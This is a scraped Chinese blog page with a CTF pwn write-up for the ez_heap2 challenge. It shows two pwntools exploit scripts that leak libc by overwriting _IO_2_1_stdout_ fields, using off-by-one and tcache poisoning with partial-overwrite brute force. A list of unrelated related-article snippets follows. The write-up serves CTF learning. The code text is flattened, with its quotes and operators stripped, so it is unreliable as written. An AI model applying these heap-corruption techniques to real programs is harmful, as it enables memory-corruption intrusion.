当前位置: 首页 > article >正文

修改_IO_2_1_stdout_的某些值来泄漏libc基地址

主要的原理可以去 https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/ 看我们只讲实操✍内容 这里有两个方法 我们使用楚慧杯2024的ez_heap2作为例题重要的代码审计很清楚没有show函数看的开了pie保护所以我们在gift的时候可以选择是泄漏heap_base还是pie_base根据elf文件里面的stdout符号地址来修改_IO_2_1_stdout这个方法由于上面题目的情况我们需要pie的基地址如果没开pie的话就不需要但是堆题目嘛一般都是保护全开ok泄漏pie基地址的话没什么好说的我们来说接下来怎么做先找到elf中stdout的符号地址当程序运行的时候是这样的关系stdout调用的时候我们链是stdout----IO_2_1_stdout----IO_2_1_stdout的内容,具体你可以看下图。所以我们用teach 或者fastbins attack申请到 IO_2_1_stdout或者它的附近就能修改它结构体里面的值了def dfun(): add(0,0x18) add(1,0x68) add(2,0x68) add(3,0x18) io.sendline(4) # 执行gift函数获得pie地址 io.sendlineafter(bchoose:\n,4) adderint(io.recvuntil(b\n,dropTrue),16) pieadder-0x202160 print(0x%x%pie) stdoutpie0x202020 # 获得stdout的地址 print(0x%x%stdout) edit(0,ba*0x18b\xe1) # off_by_one中 delete(2) delete(1) add(1,0xd8) # 修改还在teach的chunk2的fd为stdout并修复其size edit(1,b\x00*0x68p64(0x71)p64(stdout)) add(2,0x68) # 申请原理chunk2 add(4,0x68) # 申请user adder为stdout的chunk add(5,0x68) # 申请到_IO_2_1_stdout的地址 edit(5,p64(0xfbad1800) p64(0)*3 b\x00) # 修改flags_为0xfbad1800 _IO_write_base为\x00 io.recvuntil(b\x00*8) libc_adderu64(io.recv(6).ljust(8,b\x00)) print(0x%x%libc_adder) # libc_adderu64(io.recvuntil(b\x7f)[-6:].ljust(8,b\x00)) # 一般用这个好好看一下 # print(0x%x%libc_adder) libc_baselibc_adder-0x3ed8b0 systeam_adderlibc_baselibc.symbols[system] bin_sh libc_base next(libc.search(b/bin/sh)) io.interactive()libcheap偏移是用gdb自己找的但是注意了这样的话teach或者fastbins这个大小的链就用不了了直接修改难点在爆破上但是利用的条件较上一个少一些这个唯一不一样的是我们不用stdout了我们直接在_IO_2_1_stdout那寻找合数的位置伪造chunk那问题是我们怎么写到哪个地方呢 很巧的是unsorted bins的fdbk指针和_IO_2_1_stdout那块的地址只有两个字节不一样而LFSAR的随机化机制然地址最后三位不变那么我们可以用gdb找着三位剩下半个字节直接爆破就行了我们只用申请到这个伪造chunk的地址就行就是把最后两位改成c71d然后爆破就行了再修改成特顶的值就好了add(0,0x18) add(1,0x408) # 严肃申请unsorted bins add(2,0x68) add(3,0x68) menu(4) io.sendlineafter(bchoose:,b1) io.recvuntil(b\n) heap_adderint(io.recvuntil(b1.add,dropTrue),16) print(heap_adder : 0x%x%heap_adder) heap_baseheap_adder- 0x770 print(heap_base : 0x%x%heap_base) /////////////////////////////////////////////////开始攻击/////////////////////////////////////////////////////////////// edit(0,ba*0x18b\xf1) delete(2) delete(3) delete(1) add(1,0x408) add(5,0xc8) edit(5,b\x2d\xc7) # 修改fd中因为teach的fd指向user直接写你想改的地址就好了不用加0x10 edit(1,ba*0x408b\x71) # 大小改回来 add(2,0x68) add(3,0x68) #gdb.attach(io) add(6,0x68) # 申请到 #gdb.attach(io) edit(6,b\x00 * (0x33) p64( 0xfbad1800 )p64( 0 )* 3 b\x00) # 开始修改 #gdb.attach(io) io.recvuntil(b\x00*8) libc_adderu64(io.recv(6).ljust(8,b\x00)) print(0x%x%libc_adder) libc_baselibc_adder-0x3ed8b0 print(libc_base : 0x%x%libc_base) libc.addresslibc_base成功

相关文章:

修改_IO_2_1_stdout_的某些值来泄漏libc基地址

主要的原理可以去 https://blog.detectivelfy.top/2022/04/16/IO-FILE%E4%B9%8B%E5%88%A9%E7%94%A8stdout%E6%B3%84%E9%9C%B2libc%E5%9C%B0%E5%9D%80/ 看我们只讲实操 ✍内容 这里有两个方法 我们使用楚慧杯2024的ez_heap2作为例题 重要的代码审计 很清楚没有show函数 看的…...

植物大战僵尸PC版怎么玩才爽?这款开源工具让你掌控全局!

植物大战僵尸PC版怎么玩才爽?这款开源工具让你掌控全局! 【免费下载链接】pvztoolkit 植物大战僵尸 PC 版综合修改器 项目地址: https://gitcode.com/gh_mirrors/pv/pvztoolkit 还在为植物大战僵尸的难度发愁吗?想不想拥有无限阳光、随…...

终极ComfyUI-Manager完全指南:快速部署与高效管理自定义节点

终极ComfyUI-Manager完全指南:快速部署与高效管理自定义节点 【免费下载链接】ComfyUI-Manager ComfyUI-Manager is an extension designed to enhance the usability of ComfyUI. It offers management functions to install, remove, disable, and enable various…...

FastAPI 安全认证

FastAPI 安全认证学习笔记 一、认证流程概览 FastAPI 的认证通常遵循以下流程: 客户端 发送请求,携带凭证(如 Token、Cookie)。中间件/依赖 拦截请求,提取凭证。验证逻辑 校验凭证有效性(如 JWT 签名、密码…...

FastAPI 静态文件

FastAPI 静态文件学习笔记 一、基本用法 — StaticFiles 1. 挂载静态文件目录 from fastapi import FastAPI from fastapi.staticfiles import StaticFilesapp FastAPI()# 将 ./static 目录挂载到 /static 路径 app.mount("/static", StaticFiles(directory"…...

FastAPI CORS 跨域

FastAPI CORS 跨域学习笔记 一、什么是跨域问题 1. 同源策略 浏览器遵循同源策略(Same-Origin Policy),限制一个源的网页向另一个源发送请求。 同源 协议 域名 端口 三者一致:URL AURL B是否同源原因http://example.com/ahttp:…...

别再乱用 String 了!底层原理、常量池、拼接陷阱全解析

做java开发,String是每天都在用的类,但是绝大部分人只停留在只会写、只会赋值,底层还不是很了解,很多人都有这样的疑惑:明明都是"abc",为什么 有时候相等、有时候不相等?String 到底…...

LangChain vs LlamaIndex:从编排到数据,一文搞清核心区别

目录 摘要 一、核心区别:一句话版本 二、为什么我会觉得它们很像? 三、核心区别:完整对比 四、用 LangChain 的知识理解 LlamaIndex 五、LlamaIndex 的数据处理主线 1. Document 2. Node 3. Index 4. Retriever 5. QueryEngine 六…...

如何快速上手OpenBoardView:5个实用技巧与完整操作指南

如何快速上手OpenBoardView:5个实用技巧与完整操作指南 【免费下载链接】OpenBoardView View .brd files 项目地址: https://gitcode.com/gh_mirrors/op/OpenBoardView OpenBoardView是一款功能强大的开源电路板设计文件查看工具,专为替代传统的&…...

btcrecover技术解析:比特币钱包密码恢复引擎的架构与优化实践

btcrecover技术解析:比特币钱包密码恢复引擎的架构与优化实践 【免费下载链接】btcrecover An open source Bitcoin wallet password and seed recovery tool designed for the case where you already know most of your password/seed, but need assistance in tr…...

家庭暴力预警程序,报警,调解记录上链,为庇护,起诉,提供证据。

定位为 “区块链在社会治理与司法辅助中的应用示例”。一、实际应用场景描述在家庭暴力(Domestic Violence, DV)案件中,受害者常面临以下问题:- 暴力行为多为私密空间发生- 证据易灭失(聊天记录删除、伤情恢复&#xf…...

自建代理池实战:从零搭建高可用IP代理服务应对反爬策略

1. 项目概述与核心价值最近在折腾一个个人项目,需要从多个公开的学术网站和开放数据平台抓取一些研究资料。这事儿听起来简单,但实际操作起来,你会发现一个很现实的问题:很多网站对频繁的、来自同一IP的请求非常敏感,轻…...

AI Agent 入门课:RAG 不是检索外挂,而是 Agent 的知识闭环

在企业知识问答里,最常见的失败并不是“完全搜不到”,而是第一次搜到的内容看起来相关,答案也写得流畅,结论却经不起复核。用户问一句“帮我总结这份文档”,普通 RAG 往往会先搜一批材料,再把结果塞回上下文…...

D2DX:让经典《暗黑破坏神2》在现代PC上焕然一新的完整解决方案

D2DX:让经典《暗黑破坏神2》在现代PC上焕然一新的完整解决方案 【免费下载链接】d2dx D2DX is a complete solution to make Diablo II run well on modern PCs, with high fps and better resolutions. 项目地址: https://gitcode.com/gh_mirrors/d2/d2dx 你…...

开源RPA框架openclaw-a2a:基于浏览器自动化的跨应用数据流转实践

1. 项目概述与核心价值最近在折腾一些自动化流程,发现很多场景下,不同应用之间的数据流转是个老大难问题。比如,我想把网页上的表格数据自动录入到某个内部系统,或者把邮件附件里的信息提取出来,更新到数据库里。手动操…...

为什么92%的技术中台项目卡在AISMM第三级?资深架构师手把手拆解生态能力建设的黄金48小时启动法

更多请点击: https://intelliparadigm.com 第一章:AISMM模型与技术生态建设的底层逻辑 AISMM(Artificial Intelligence System Maturity Model)并非孤立的评估框架,而是以系统性、演化性与协同性为内核的技术治理范式…...

Windhawk终极指南:如何通过模块化定制彻底改变Windows使用体验

Windhawk终极指南:如何通过模块化定制彻底改变Windows使用体验 【免费下载链接】windhawk The customization marketplace for Windows programs: https://windhawk.net/ 项目地址: https://gitcode.com/gh_mirrors/wi/windhawk Windhawk是一款革命性的Windo…...

车载以太网之要火系列 - 第35篇:郭大侠学UDS(34/36/37服务)- 环环相扣展神奇,丝滑更新不迷离

写在开篇上回说到,郭靖搞清楚了19服务(看病历)和14服务(擦病历)——疾病潜藏祸患多,杏林郎中手段多。这天,郭靖开着那辆国产智能网联新车,感觉有点不对劲——踩油门反应迟钝&#xf…...

opencv 和opencv_contrib官网 不同版本的下载地址

opencv Releases opencv/opencv https://github.com/opencv/opencv_contrib/releases/tag/4.0.1 Release 3.4.13 opencv/opencv_contrib GitHubhttps://github.com/opencv/opencv_contrib/releases/tag/3.4.13 4.0.1 和3.4.13 都是版本号。下载就行。...

HCIE数通单选题

(单选题)EVPN承载L2VPN业务时,以下哪种类型的路由与CE无关? A. MAC/IP Advertisement Route B. Inclusive Multicast Route C. Ethernet A-D Route D. Ethernet Segment Route 思考中。。。 我们来逐一拆解选项: 1. 为…...

2.LeetCode 1089. 复写零——双指针解法学习笔记

目录 一、题目解析 二、算法原理:双指针法 步骤1:找最后一个“复写”的数 步骤2:处理边界情况 步骤3:从后往前复写 三、代码实现(Java) 四、复杂度分析 五、总结 OJ链接:https://leetco…...

中国词元:构建自主AI生态的“云-端“协同战略

在全球化AI竞赛进入白热化的今天,中国科技企业正在探索一条独特的突围路径。当国际科技巨头通过封闭云帝国垄断AI基础设施时,中国产业界提出了"中国词元"的创新概念——通过整合本土模型、国产算力和绿色能源,构建自主可控的AI生态…...

3分钟终极指南:qmcdump轻松解锁QQ音乐加密文件,实现音乐自由播放

3分钟终极指南:qmcdump轻松解锁QQ音乐加密文件,实现音乐自由播放 【免费下载链接】qmcdump 一个简单的QQ音乐解码(qmcflac/qmc0/qmc3 转 flac/mp3),仅为个人学习参考用。 项目地址: https://gitcode.com/gh_mirrors/…...

学之思开源考试系统:3步快速搭建专业在线考试平台的完整指南

学之思开源考试系统:3步快速搭建专业在线考试平台的完整指南 【免费下载链接】xzs-mysql 学之思开源考试系统是一款 java vue 的前后端分离的考试系统。主要优点是开发、部署简单快捷、界面设计友好、代码结构清晰。支持web端和微信小程序,能覆盖到pc机…...

mysql数据库读写分离策略与性能分析_通过中间件实现自动路由

...

本土化赋能:Gitee如何重塑中国开发者的代码托管体验

在数字化转型加速的今天,代码托管平台已成为企业技术基础设施的重要组成部分。对于中国开发者而言,一个能够兼顾性能、合规与本地化支持的平台显得尤为重要。Gitee作为国内领先的代码托管服务,正通过其独特的本土化优势,为开发者提…...

WarcraftHelper:魔兽争霸3终极兼容性修复指南,让经典游戏在现代电脑流畅运行

WarcraftHelper:魔兽争霸3终极兼容性修复指南,让经典游戏在现代电脑流畅运行 【免费下载链接】WarcraftHelper Warcraft III Helper , support 1.20e, 1.24e, 1.26a, 1.27a, 1.27b 项目地址: https://gitcode.com/gh_mirrors/wa/WarcraftHelper 还…...

Install-TidGi-Windows-x64安装步骤详解(附TidGi知识库搭建教程)

Install-TidGi-Windows-x64.exe是 TidGi(太记)​ 桌面知识管理软件的 Windows 64位 安装包。这玩意儿是基于 TiddlyWiki 做的笔记和知识管理工具,带自动 Git 备份、能当博客用,搞个人知识库的人用得挺多。 一、准备工作 下载安装包…...

集团首都公报:继美国谷歌公司、苹果公司之后,世界第三家手机控制系统公司(即     武汉市放飞炬人控制系统有限公司)今天2026年5月6日9点36分获得官方批准。

集团首都公报:继美国谷歌公司、苹果公司之后,世界第三家手机控制系统公司(即 武汉市放飞炬人控制系统有限公司)今天2026年5月6日9点36分获得官方批准。...

08-MLOps与工程落地——模型注册表与模型服务

模型注册表与模型服务(MLflow Model Registry、Seldon Core) 一、模型注册表概述 1.1 什么是模型注册表? import matplotlib.pyplot as plt from matplotlib.patches import Rectangle, FancyBboxPatch import warnings warnings.filterwarni…...